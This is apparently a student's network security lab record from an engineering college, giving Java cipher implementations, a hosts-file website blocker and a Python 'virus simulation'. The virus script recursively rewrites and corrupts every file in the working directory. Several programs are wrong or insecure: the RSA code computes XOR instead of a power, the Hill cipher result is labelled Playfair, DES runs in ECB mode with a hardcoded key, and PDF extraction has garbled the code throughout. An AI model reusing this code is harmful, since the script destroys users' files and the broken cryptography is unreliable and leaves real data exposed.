You are on page 1of 94

GOVERNMENT COLLEGE OF ENGINEERING

(An Autonomous Institution Affiliated to Anna University, Chennai)

SALEM - 11.

DEPARTMENT OF COMPUTER SCIENCE AND ENGINEERING

16CS703 – NETWORK SECURITY LABORATORY

FINAL YEAR

NAME :
………………………………………………….
REGISTER NUMBER :
………………………………………………….
GOVERNMENT COLLEGE OF ENGINEERING
(An Autonomous Institution Affiliated to Anna University, Chennai)

SALEM - 11.

16CS703 – NETWORK SECURITY LABORATORY

Certified that is the bonafide Record of work done by Mr./Ms.


…………………………………… of SEVENTH Semester of
COMPUTER SCIENCE AND ENGINEERING during t he
academic year 2023 – 2024.

Faculty-In-Charge Head of the Department

Submitted for the Practical Examination held on ……………………


His / Her University Register Number is ………………………

INTERNAL EXAMINER EXTERNAL EXAMINER


TABLE OF CONTENTS

Page Staff
S. No Date Name of the Experiment
No. Signature

1 Caesar Cipher Algorithm

2 Playfair Cipher Algorithm

3 Hill Cipher Algorithm

4 DES Algorithm

5 AES Algorithm

6 RSA Algorithm

7 Diffie – Hellman Algorithm

8 Secure Hash Algorithm

9 Simulation of Digital Signature

10 Simulation of Firewall

11 Simulation of Virus Attack

\
EX NO: 1
CAESAR CIPHER ALGORITHM
DATE:

AIM:
To write a Java program to implement Caesar Cipher Algorithm.

PROCEDURE:

 The Caesar Cipher technique is one of the earliest and simplest method of
encryption technique. It‟s simply a type of substitution cipher
 Each letter of a given text is replaced by a letter some fixed number of positions
down the alphabet.
 To cipher a given text we need an integer value, known as shift which indicates
the number of position each letter of the text has been moved down.
 The encryption can be represented using modular arithmetic by first transforming
the letters into numbers, according to the scheme, A = 0, B = 1,…, Z = 25.
 Encryption phase :En(x) = (x+n)%26
 Decryption phase :Dn(x) = (x-n)%26

CODING:
Caesar Cipher of Strings without key:
class caesar1
{
public static void main(String args[])
{
String a="abcdefghijklmnopqrstuvwxyz";
String pt="hello";
System.out.println("The plain text is: "+pt.toUpperCase());
int len=pt.length();
System.out.print("The corresponding cipher text is: ");
for(int i=0;i<len;i++)
{
char s1= pt.charAt(i);
int j=a.indexOf(s1);
String ct=a.substring(j+3,j+4);
System.out.print(ct.toUpperCase());
}
System.out.println(" ");
OUTPUT:
Caesar Cipher of Strings without key:

Caesar Cipher of Strings with key:


} }
Caesar Cipher of Strings with key
import java.io.*; class
caesar2
{
public static void main(String args[]) throws IOException
{
String a="abcdefghijklmnopqrstuvwxyz"; String
pt="saurabh";
System.out.println("The plain text is: "+pt.toUpperCase()); //plain text
System.out.print("Enter the key: ");
BufferedReaderbr=new BufferedReader(new InputStreamReader(System.in)); int
key=Integer.parseInt(br.readLine());
int len=pt.length(); System.out.print("The cipher
text is: "); for(int i=0;i<len;i++)
{
char s1= pt.charAt(i);
//System.out.println(s1); int
j=a.indexOf(s1);
int m=(j+key)%26;
String ct=a.substring(m,m+1);
System.out.print(ct.toUpperCase());
}
System.out.println("");
}
}
RESULT:

Thus the Java program to implement Caesar Cipher Algorithm was executed and the
output was verified successfully.
EX NO: 2
PLAY FAIR CIPHER ALGORITHM
DATE:

AIM:
To write a Java program to implement Play Fair Cipher Algorithm.

PROCEDURE:

 In this scheme, pairs of letters are encrypted, instead of single letters as in the case
of simple substitution cipher.
 In playfair cipher, initially a key table is created. The key table is a 5×5 grid of
alphabets that acts as the key for encrypting the plaintext. Each of the 25 alphabets
must be unique and one letter of the alphabet (usually J) is omitted from the table
as we need only 25 alphabets instead of 26. If the plaintext contains J, then it is
replaced by I.
 The sender and the receiver deicide on a particular key. In a key table, the first
characters (going left to right) in the table is the phrase, excluding the duplicate
letters. The rest of the table will be filled with the remaining letters of the
alphabet, in natural order.
 First, a plaintext message is split into pairs of two letters (digraphs). If there is an
odd number of letters, a Z is added to the last letter.
 If both the letters are in the same column, take the letter below each one (going
back to the top if at the bottom)
 If both letters are in the same row, take the letter to the right of each one (going
back to the left if at the farthest right)
 If neither of the preceding two rules are true, form a rectangle with the two letters
and take the letters on the horizontal opposite corner of the rectangle.

CODING:
import java.io.*;
class PlayFair
{
public static void main(String a[]) throws ArrayIndexOutOfBoundsException,IOException
{
String[][] pt1=new String[5][5];
String all="ABCDEFGHIKLMNOPQRSTUVWXYZ";
String key="MONARCHY";
System.out.print("Enter the plain text: ");
BufferedReaderbr=new BufferedReader(new InputStreamReader(System.in));
String pt=br.readLine();
pt=pt.toUpperCase(); if((pt.length()%2!
=0))
OUTPUT:
pt=pt+"X";
System.out.println("The plain text is: "+pt);
String ct="";
int len2,k=0;
int len1=key.length();
for(int i=0;i<len1;i++)

{
len2=all.length();
String s=key.substring(i,i+1);
if(s.equals("J"))
{
s="I";
}
int n=all.indexOf(s); all=all.substring(0,n)
+""+all.substring(n+1,len2);
}
all=key+""+all;

//Preparing the playfair matrix System.out.println("The playfair matrix is:");


for(int i=0;i<5;i++)
{
for(int j=0;j<5;j++)
{
if(k>=all.length())
{
break;
}
pt1[i][j]=all.substring(k,k+1);
k++;
}
System.out.println("");
}
//Array representation for(int i=0;i<5;i++)
{
for(int j=0;j<5;j++)
{
System.out.print(pt1[i][j]+" ");

}
System.out.println("");
}
for(k=0;k<pt.length();k=k+2)
{
int i,j,a1=0,b=0,c=0,d=0; String s=pt.substring(k,k+2); String s1=s.substring(0,1); String
s2=s.substring(1,2); for(i=0;i<5;i++)
{
for(j=0;j<5;j++)
{
if(pt1[i][j].equals(s1))
{
a1=i;
b=j;

break;
}
}
}
for(i=0;i<5;i++)
{
for(j=0;j<5;j++)
{
if(pt1[i][j].equals(s2))
{
c=i;
d=j;
break;
}
}
}

if(a1==c)
{
if((b+1)>=5)
b=0;
if((d+1)>=5)
d=0;
s1=pt1[a1][b+1];
s2=pt1[a1][d+1];
}
if(b==d)
{
if((a1+1)>=5)
a1=0;
if((c+1)>=5)
c=0;
s1=pt1[a1+1][b];
s2=pt1[c+1][b];
}
if(a1!=c && b!=d)
{
s1=pt1[a1][d];
s2=pt1[c][b];
}
ct=ct+""+s1+""+s2;
}
System.out.println("The cipher text is: "+ct);
}
}
RESULT:
Thus the Java program to implement Play Fair Cipher Algorithm was executed and
the output was verified successfully.
EX NO: 3
HILL CIPHER ALGORITHM
DATE:

AIM:
To write a Java program to implement Hill Cipher Algorithm.

PROCEDURE:

 Hill cipher is a polygraphic substitution cipher based on linear algebra.Each letter is


represented by a number modulo 26.
 Often the simple scheme A = 0, B = 1, …, Z = 25 is used, but this is not an essential
feature of the cipher.
 To encrypt a message, each block of n letters (considered as an n-component vector)
is multiplied by an invertible n × n key matrix, against modulus 26.
 To decrypt the message, each block is multiplied by the inverse of the matrix used
for encryption.
 The matrix used for encryption is the cipher key, and it should be chosen randomly
from the set of invertible n × n matrices (modulo 26).

CODING:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class HillCipher


{
int keymatrix[][];
int linematrix[];
int resultmatrix[];
public void divide(String temp, int s)
{
while(temp.length()>s)
{
String sub=temp.substring(0,s);
temp=temp.substring(s, temp.length());
perform(sub);
}
if(temp.length() == s )
perform(temp);
else if (temp.length()<s)
{
for(int i = temp.length(); i<s; i+
+) temp=temp + 'x';
perform(temp);
}
}
public void perform(String line)
OUTPUT:
{
linetomatrix(line);
linemultiplykey(line.length());
result(line.length());
}

public void keytomatrix(String key, int len)


{
keymatrix = new int[len][len];
int c = 0;
for(int i=0;i<len;i++)
{
for(int j=0;j<len;j++)
{
keymatrix[i][j] = ((int) key.charAt(c)) - 97; c+
+;
}
}
}
public void linetomatrix(String line)
{
linematrix = new int[line.length()];
for(int i=0;i<line.length();i++)
{
linematrix[i]=((int) line.charAt(i)) - 97;
}
}
public void linemultiplykey(int len)
{
resultmatrix=new int[len];
for(int i=0;i<len;i++)
{
for(int j=0;j<len;j++)
{
resultmatrix[i] += keymatrix[i][j]*linematrix[j];
}
resultmatrix[i]%= 26;
}
}
public void result(int len)
{
String result = "";
for(int i=0;i<len;i++)
{
result += (char)(resultmatrix[i] + 97);
}
System.out.print(result);
}
public booleancheck(String key, int len)
{
keytomatrix(key,len);
int d=determinant(keymatrix,len);
d=d%26;
if(d==0)
{
System.out.println("Invalid key!!! Key is not invertible because determinant=0...");
return false;
}
else if(d%2==0 || d%13==0)
{
System.out.println("Invalid key!!! Key is not invertible because determinant has common
factor with 26...");
return false;
}
else
{
return true;
}
}
public int determinant(int A[][], int N)
{
int res;
if(N == 1)
res = A[0][0];
else if(N==2)
{
res = A[0][0]*A[1][1]-A[1][0]*A[0][1];
}
else
{
res = 0;
for(int j1 = 0; j1 <N; j1++)
{
int m[][] = new int[N-1][N-1];
for(int i = 1;i <N;i++)
{
int j2=0;
for(int j = 0; j < N; j++)
{
if(j==j1)
continue;
m[i-1][j2] = A[i][j];
j2++;
}
}
res +=Math.pow(-1.0, 1.0 +j1 + 1.0) * A[0][j1]
*determinant(m, N - 1);
}
}
return res;
}
public void cofact(int num[][], int f)
{
int b[][],fac[][];
b=new int[f][f];
fac=new int[f][f];
int p,q,m,n,i,j;
for(q=0;q<f;q++)
{
for(p=0;p<f;p++)
{
m = 0;
n = 0;
for(i = 0;i <f;i++)
{
for(j = 0;j <f;j++)
{
b[i][j] = 0; if(i!
=q&&j!=p)
{
b[m][n] = num[i][j];
if(n<(f-2))
n++;
else
{
n = 0; m+
+;
}
}
}
}
fac[q][p] = (int) Math.pow(-1,q+p) * determinant(b, f - 1);
}
}
trans(fac, f);
}
void trans(int fac[][], int r)
{
int i,j;
int b[][],inv[][];
b = new int[r][r];
inv = new int[r][r];
int d=determinant(keymatrix, r);
int mi = mi(d % 26);
mi%=26;
if(mi<0)
mi+=26;
for(i = 0; i<r;i++)
{
for(j = 0; j <r; j++)
{
b[i][j]= fac[j][i];
}
}
for(i = 0; i<r;i++)
{
for(j = 0; j <r; j++)
{
inv[i][j] = b[i][j] % 26;
if(inv[i][j] <0)
inv[i][j] +=26;
inv[i][j] *=mi;
inv[i][j] %=26;
}
}
System.out.println("\nInverse key:");
matrixtoinvkey(inv,r);
}
public int mi(int d)
{
int q,r1,r2,r,t1,t2,t;
r1 = 26;
r2 = d;
t1 = 0;
t2 = 1;
while(r1 != 1 && r2 !=0)
{
q=r1/r2;
r=r1%r2;
t=t1 - (t2 * q);
r1 = r2;
r2 =r;
t1 = t2;
t2 = t;
}
return(t1 + t2);
}
public void matrixtoinvkey(int inv[][], int n)
{
String invkey="";
for(int i = 0; i<n; i++)
{
for(int j=0; j<n; j++)
{
invkey += (char) (inv[i][j]+97);
}
}
System.out.print(invkey);
}
public static void main(String args[]) throws IOException
{
HillCipher obj = new HillCipher();
BufferedReader in = new BufferedReader(new InputStreamReader(System.in));
int choice;
System.out.println("Menu:\n1: Encryption\n2: Decryption");
choice = Integer.parseInt(in.readLine());
System.out.println("Enter the line: ");
String line = in.readLine();
System.out.println("Enter the key: ");
String key = in.readLine();
double sq = Math.sqrt(key.length());
if(sq!=(long) sq)
System.out.println("Invalid key length!!! Does not form a square matrix...");
else
{
int s= (int)sq;
if(obj.check(key,s))
{
System.out.println("Result:");
obj.divide(line,s);
obj.cofact(obj.keymatrix,s);
}
}
}
}
RESULT:
Thus the Java program to implement Play Fair Cipher Algorithm was executed and
the output was verified successfully.
EX NO: 4
DATA ENCRYPTION STANDARD ALGORITHM
DATE:

AIM:
To write a Java program to implement Data Encryption Standard Algorithm.

PROCEDURE:

 The 64 bit plain text block is handed over to an initial Permutation (IP) function.
 The initial permutation performed on plain text.
 Next the initial permutation (IP) produces two halves of the permuted block says
Left Plain Text (LPT) and Right Plain Text (RPT).
 Now each LPT and RPT to go through 16 rounds of encryption process.
 In the end, LPT and RPT are rejoined and a Final Permutation (FP) is performed on
the combined block
 The result of this process produces 64 bit cipher text.
 Decryption : The order of the 16 keys is reversed such that key 16 becomes key 1,
and so on. Then, the steps for encryption are applied to the ciphertext.

CODING:
DES algorithm to encrypt text files:
import java.io.*;
import javax.crypto.*;
import javax.crypto.spec.*;
public class EncryptFile
{
public static void main(String args[])
{
if (args.length< 1)
{

System.out.println("Usage: java EncryptFile<file name>");


System.exit(-1);
}
try
{

File desFile = new File("encrypt.des");


FileInputStreamfis=null;
FileOutputStreamfos;
OUTPUT:

TEXT FILE:
CipherInputStream cis; //
Creation of Secret key
byte key[] = "abcdEFGH".getBytes();
SecretKeySpecsecretKey = new SecretKeySpec(key,"DES");
// Creation of Cipher objects
Cipher encrypt = Cipher.getInstance("DES/ECB/PKCS5Padding");
encrypt.init(Cipher.ENCRYPT_MODE, secretKey);
// Open the Plaintext
file try
{
fis = new FileInputStream(args[0]);
}
catch(IOException err)
{
System.out.println("Cannot open file!");
System.exit(-1);
}
cis = new CipherInputStream(fis,encrypt);
// Write to the Encrypted file
fos = new FileOutputStream(desFile);
byte[] b = new byte[8];
int i = cis.read(b);
while (i != -1) {
fos.write(b, 0, i);
i = cis.read(b);
}
fos.flush();
fos.close();
cis.close();
fis.close();
}
catch(Exception e)
{
e.printStackTrace();
}
}
}
DES algorithm to decrypt text files:
import java.io.*;
import javax.crypto.*;
import javax.crypto.spec.*;
public class DecryptFile {
public static void main(String args[])
{ try {
File desFile = new File("encrypt.des");
File desFileBis = new File("decrypt.des");
FileInputStreamfis;
FileOutputStreamfos;
CipherInputStream cis; //
Creation of Secret key
byte key[] = "abcdEFGH".getBytes();
SecretKeySpecsecretKey = new SecretKeySpec(key,"DES");
// Creation of Cipher
objects Cipher decrypt =
Cipher.getInstance("DES/ECB/PKCS5Padding");
decrypt.init(Cipher.DECRYPT_MODE, secretKey);
// Open the Encrypted file
fis = new FileInputStream(desFile);
cis = new CipherInputStream(fis,
decrypt); // Write to the Decrypted file
fos = new FileOutputStream(desFileBis);
byte[] b = new byte[8];
int i = cis.read(b);
while (i != -1)
{
fos.write(b, 0, i);
i = cis.read(b);
}
fos.flush();
fos.close();
cis.close();
fis.close();
} catch(Exception e){
e.printStackTrace();
}
}
}
RESULT:
Thus the Java program to implement Data Encryption Standard Algorithm was
executed and the output was verified successfully.
EX NO: 5
ADVANCED ENCRYPTION STANDARD ALGORITHM
DATE:

AIM:
To write a Java program to implement Advanced Encryption Standard Algorithm.

PROCEDURE:

 We restrict to description of a typical round of AES encryption. Each round comprise


of four sub-processes.
 Byte Substitution :The 16 input bytes are substituted by looking up a fixed table
(Substitution-box) given in design. The result is in a matrix of four rows and four
columns.
 Shiftrows : Each of the four rows of the matrix is shifted to the left. Any entries that
„fall off‟ are re-inserted on the right side of row. Shift is carried out as follows –
 First row is not shifted.
 Second row is shifted one (byte) position to the left.
 Third row is shifted two positions to the left.
 Fourth row is shifted three positions to the left.
 The result is a new matrix consisting of the same 16 bytes but shifted with respect to
each other.
 Mix Columns : Each column of four bytes is now transformed using a special
mathematical function. This function takes as input the four bytes of one column and
outputs four completely new bytes, which replace the original column. The result is
another new matrix consisting of 16 new bytes. It should be noted that this step is not
performed in the last round.
 Add Round Key : The 16 bytes of the matrix are now considered as 128 bits and are
XORed to the 128 bits of the round key. If this is the last round then the output is the
ciphertext. Otherwise, the resulting 128 bits are interpreted as 16 bytes and we begin
another similar round.
 Decryption : The process of decryption of an AES ciphertext is similar to the
encryption process in the reverse order.

CODING:
import java.security.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import java.io.*;
public class AES {
public static String asHex (byte buf[])
{ StringBufferstrbuf = new StringBuffer(buf.length * 2);
int i;
OUTPUT:
for (i = 0; i<buf.length; i++)
{ if (((int) buf[i] & 0xff) <
0x10) strbuf.append("0");
strbuf.append(Long.toString((int) buf[i] & 0xff, 16));
}
return strbuf.toString();
}
public static void main(String[] args) throws Exception
{ String message="cyptography";
// Get the KeyGenerator
KeyGeneratorkgen = KeyGenerator.getInstance("AES");
kgen.init(128); // 192 and 256 bits may not be available
// Generate the secret key specs.
SecretKey skey = kgen.generateKey();
byte[] raw = skey.getEncoded();
SecretKeySpecskeySpec = new SecretKeySpec(raw, "AES");
// Instantiate the cipher
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.ENCRYPT_MODE,
skeySpec); byte[] encrypted =
cipher.doFinal((args.length == 0 ? "cryptography" :args[0]).getBytes());
System.out.println("encrypted string: " + asHex(encrypted));
cipher.init(Cipher.DECRYPT_MODE, skeySpec);
byte[] original =
cipher.doFinal(encrypted);
String originalString = new String(original);
System.out.println("Original string: " +
originalString + " " + asHex(original));
}
}
RESULT:
Thus the Java program to implement Advanced Encryption Standard Algorithm was
executed and the output was verified successfully.
EX NO: 6
RIVEST SHAMIR ADLEMAN (RSA) ALGORITHM
DATE:

AIM:
To write a Java program to implement Rivest Shamir Adleman (RSA) algorithm.

PROCEDURE:


The initial procedure begins with selection of two prime numbers namely p and q,
and then calculating their product N, as N = p * q
 Consider number e as a derived number which should be greater than 1 and less than
(p-1) and (q-1). The primary condition will be that there should be no common
factor of (p-1) and (q-1) except 1.
 Public key : The specified pair of numbers n and e forms the RSA public key and it
is made public.
 Private key : Private Key d is calculated from the numbers p, q and e.
ed = 1 mod (p-1) (q-1)
 Encryption Formula: C = Pe mod n
 Decryption Formula: Plaintext = Cd mod n

CODING:
import java.io.*;
class check
{
// method to check whether a number is prime or not
void prime(int p,int q)
{
for(int i=2;i<=p/2;i++)
{
if(p%i==0)
{
System.out.println("p is not prime");
System.exit(0);
}
}
for(int i=2;i<=q/2;i++)
{
if(q%i==0)
{
OUTPUT:
System.out.println("q is not prime");
System.exit(0);
}
}
}
// method to find GCD of two numbers
public int gcd(int x, int y)
{
int g,f;
if(x<0)
x=-x;
if(y<0)
y=-y;
g=x;
f=y%x;
if(f>0)
return gcd(f,g); //recursive call of gcd method
return(g);
}
}
class RSA
{
public static void main(String args[]) throws IOException
{
BufferedReaderbr=new BufferedReader(new InputStreamReader(System.in));
System.out.print("Enter P: ");
int p=Integer.parseInt(br.readLine());
System.out.print("Enter Q: ");
int q=Integer.parseInt(br.readLine());
//check p,q are prime or not
check ob=new
check(); ob.prime(p,q);
int n=p*q;
int z=(p-1)*(q-1);
System.out.print("Enter Encrytion key(e):
"); int e=Integer.parseInt(br.readLine());
//check whether e and z are relatively prime
int g=ob.gcd(e,z);
if(g!=1)
{
System.out.println("e and z are not relatively
prime"); System.exit(0);
}
int d=1; while(((e*d)
%z)!=1) d++;
System.out.print("Enter the plain text:
"); int m=Integer.parseInt(br.readLine());
int c=(m^e)%n;
System.out.println("The decryption key is(d) : "+d);
System.out.println("The cipher text is : "+c);
}
}
RESULT:
Thus the Java program to implement Rivest Shamir Adleman (RSA) Algorithm was
executed and the output was verified successfully.
EX NO: 7
DIFFIE HELLMAN ALGORITHM
DATE:

AIM:
To write a Java program to implement Diffie Hellman Algorithm.
PROCEDURE:
 Create two classes Alice and Bob agree to use a prime number p=23 and base g=5.
 Alice chooses a secret integer a=6, then
a 6
 sends Bob A = g mod p .A = 5 mod23, A = 15,625 mod 23,A = 8.Bob chooses a
b 15
secret integer b=15, then sends Alice B = g mod p. B = 5 mod
23, B = 30,517,578,125 mod 23, B = 19.
a 6
 Alice computes s = B mod p[s = 19 mod 23,s = 47,045,881 mod 23, s = 2]. Bob
b 15
computes s = A mod p[s = 8 mod 23, s = 35,184,372,088,832 mod 23, s = 2]
 Alice and Bob now share a secret: s = 2. This is because 6*15 is the same as 15*6.

CODING:
Alice.java
public class
Alice{ private final int
a, g, p; private int y;
public Alice(int a, int g, int p){
this.a = a;
this.g = g;
this.p = p;
}

public int getBase()


{ return g;
}
public int getPrime()
{
return p;
}
public void setY(int y)
{ this.y = y;
}
public int calculateX(){
return (int) (Math.pow(g, a) % p);
}
OUTPUT:
public int calculateKey(){
return (int) (Math.pow(y, a) % p);
}
}
Bob.java
public class Bob{
private final int b; private int x, g, p;
public final void setBase(int g)
{ this.g = g;
}
public final void setPrime(int p)
{ this.p = p;
}
public Bob(int b){
this.b = b;
}
public void setX(int x)
{ this.x = x;
}
public int getX(){
return x;
}
public int calculateKey(){
return (int) (Math.pow(x, b) % p);
}
public int calculateY()
{
return (int) (Math.pow(g, b) % p);
}
}
Main.java
public class Main
{
public static void main(String[] args)
{
Alice alice = new Alice(6, 5, 23);
Bob bob = new Bob(15);
bob.setBase(alice.getBase());
bob.setPrime(alice.getPrime());
bob.setX(alice.calculateX());
int bobsKey = bob.calculateKey();
alice.setY(bob.calculateY());
int alicesKey = alice.calculateKey();
System.out.format("keys%n bob's key: %d%n Alice's key:%d%nmatch:%B
%n",bobsKey, alicesKey, bobsKey == alicesKey);
}
}
RESULT:

Thus the Java program to implement Diffie Hellman Algorithm was executed and the
output was verified successfully.
EX NO: 8
SECURE HASH ALGORITHM
DATE:

AIM:
To write a Java program to implement Secure Hash Algorithm.

PROCEDURE:

 The first step is to initialize five random strings of hex characters that will serve as
part of the hash function
 The message is then padded by appending a 1, followed by enough 0s until the
message is 448 bits. The length of the message represented by 64 bits is then added to
the end, producing a message that is 512 bits long.
 The padded input obtained above,M, is then divided into 512-bit chunks, and each
chunk is further divided into sixteen 32-bit words,W0…W15. In the case of „abc‟,
there‟s only one chunk, as the message is less than 512-bits total.
 For each chunk, begin the 80 iterations,i, necessary for hashing (80 is the determined
number for SHA-1), and execute the following steps on each chunk,Mn
 For iterations 16 through 79, where 16≤i≤79, perform the following
operation:W(i)=S1(W(i−3)⊕W(i−8)⊕W(i−14)⊕W(i−16))
 Now, store the hash values defined in step 1 in the following variables
 For 80 iterations, where 0≤i≤79, computeTEMP=S^5∗(A)+f(i,B,C,D)+E+W(i)+K(i)
 Store the result of the chunk‟s hash to the overall hash value of all chunks, as shown
below, and proceed to execute the next chunk
 As a final step, when all the chunks have been processed, the message digest is
represented as the 160-bit string comprised of the OR logical operator,∨, of the 5
hashed values.

CODING:
import java.security.MessageDigest;
public class SHAHashingExample
{
public static void main(String[] args)throws Exception
{
String password = "123456";
MessageDigest md = MessageDigest.getInstance("SHA-256");
md.update(password.getBytes());
byte byteData[] = md.digest();
//convert the byte to hex format method 1
StringBuffer sb = new StringBuffer();
for (int i = 0; i<byteData.length; i++)
OUTPUT:
{
sb.append(Integer.toString((byteData[i] & 0xff) + 0x100, 16).substring(1));
}
System.out.println("Hex format : " + sb.toString());
//convert the byte to hex format method 2

StringBufferhexString = new StringBuffer(); for (int


i=0;i<byteData.length;i++) {
String hex=Integer.toHexString(0xff &byteData[i]);
if(hex.length()==1) hexString.append('0');
hexString.append(hex);
}
System.out.println("Hex format : " + hexString.toString());
}
}
RESULT:
Thus, the Java program to implement Secure Hash Algorithm was executed and the
output was verified successfully.
EX NO: 9
SIMULATION OF DIGITAL SIGNATURE
DATE:

AIM:
To simulate digital signature verification using DocuSign.

DIGITAL SIGNATURE:

Digital Signature are like electronic “fingerprints” in the form of a coded message,
the digital signature securely associates a signer with a document in recorded format.
Called Public KeyInfrastructure (PKI), to provide the highest levels of security and
universal acceptance. They are a specific signature technology implementation of electronic
signature (eSignature).

PROCEDURE:
 Sign in in DocuSign.
 Connect with Gmail Account.
 Create your own Signature.
 Add Document to send.
 Adopt your Signature.
 Enter the Receive Details.
 Click Send and Close.
 Receiver will receive the document and review it.
 Click Finish.
OUTPUT:

Step1: Login to the DocuSign account

Step2: Choose or upload our own signature


Step3: Add a document which is going to digitally signed

Step4: Add signature, date and time of valid to the document


Step5: Mention the purpose of document

Step6:Check the sent items


RESULT:
Thus, the Model for creating a digital signature was executed and the output was
verified successfully.
EX NO: 10
FIREWALL SIMULATION
DATE:

AIM:
To simulate a personal firewall to block any website using C program

FIREWALL:

A firewall is a system designed to prevent unauthorized access to or from a private


network. You can implement a firewall in either hardware or software from, or a
combination of both. Firewall prevent unauthorized internet users from accessing private
networks connected to the internet, especially intranets.

PROCEDURE:
 Try open any website (For e.g., Www.facebook.com ) which is working
 Compile the C source code and build the executable file
 Run .exe file as Administrator
 Input the website (For e.g., Www.facebook.com ) to be blocked
 Now the website is blocked and can be verified manually

SOURCE CODE:
WebsiteBlockerFirewall.C

#include <fstream>
#include <iostream>
using namespace std;
int main()
{
char site[20],ch;
ifstream in;
ofstream out;

cout<<"Enter the Name of the Site to Block \n";


cin>>site;
out.open("C:/Windows/System32/drivers/etc/
hosts",ios::app); if(!out)
cout<<"Either File Not Found or Permission Denied, Run as Admin the EXE of the
Program";
else
{
out<<"127.0.0.1"<<"\t"<<site<<endl;
cout<<site<<"is blocked";
}
out.close();
cin>>ch;
return 0;
}
OUTPUT:
Before blocking the website

After executing the firewall program, input website is blocked


RESULT:
Thus, the Model for creating a simple personal firewall was executed and the output
was verified successfully.
EX NO: 11
SIMULATION OF VIRUS ATTACK
DATE:

AIM:

To simulate a virus attack infecting local files using Python program

VIRUS ATTACK:

A computer virus is a malicious software program loaded onto a user‟s computer without
the user‟s knowledge and perform malicious actions. It can self-replicate, inserting itself
onto other programs or files, infecting them in the process. Not all computer viruses are
destructive though.

PROCEDURE:

 Compile and Build the MyVirus.py file


 Run the MyVirus.py file to infect all the files in the current working
directory including nested folders
 Thus, files cannot be opened as they are corrupted
 Files can also be disinfected using same program

CODING:
MyVirus.py

import os
from os import walk
files = []
for (dirpath, dirnames, filenames) in walk(os.getcwd()):
for i in range(len(filenames)):
files.append(dirpath+'\\'+filenames[i])
files.remove(os.path.abspath( file ))
print(files)
INFECTING=False
while not INFECTING:
choice=input('1.Infect all files \n 2.Disinfect all files \n Enter your choice :')
if(choice=='1'):
INFECTING=1
elif(choice=='2'):
INFECTING=-1
else:
print("Invalid choice")
OUTPUT:

1. Before infection

2. Executing virus simulator program


for f in files:
data= open(f,'rb').read()
ydata=""
for d in data:
try:
ydata+=chr(d-INFECTING)
except:
if not d:
ydata+=chr(0)
ydata=ydata[::-1]
print(ydata)
open(f,'wb').write(ydata.encode('UTF-8'))
input()
3. Infection process
1. After Infection, file is corrupted and unreadable
1. After disinfection, text files are regained
RESULT:
Thus, the Model for creating a simple virus attack was executed and the output was
verified successfully.

You might also like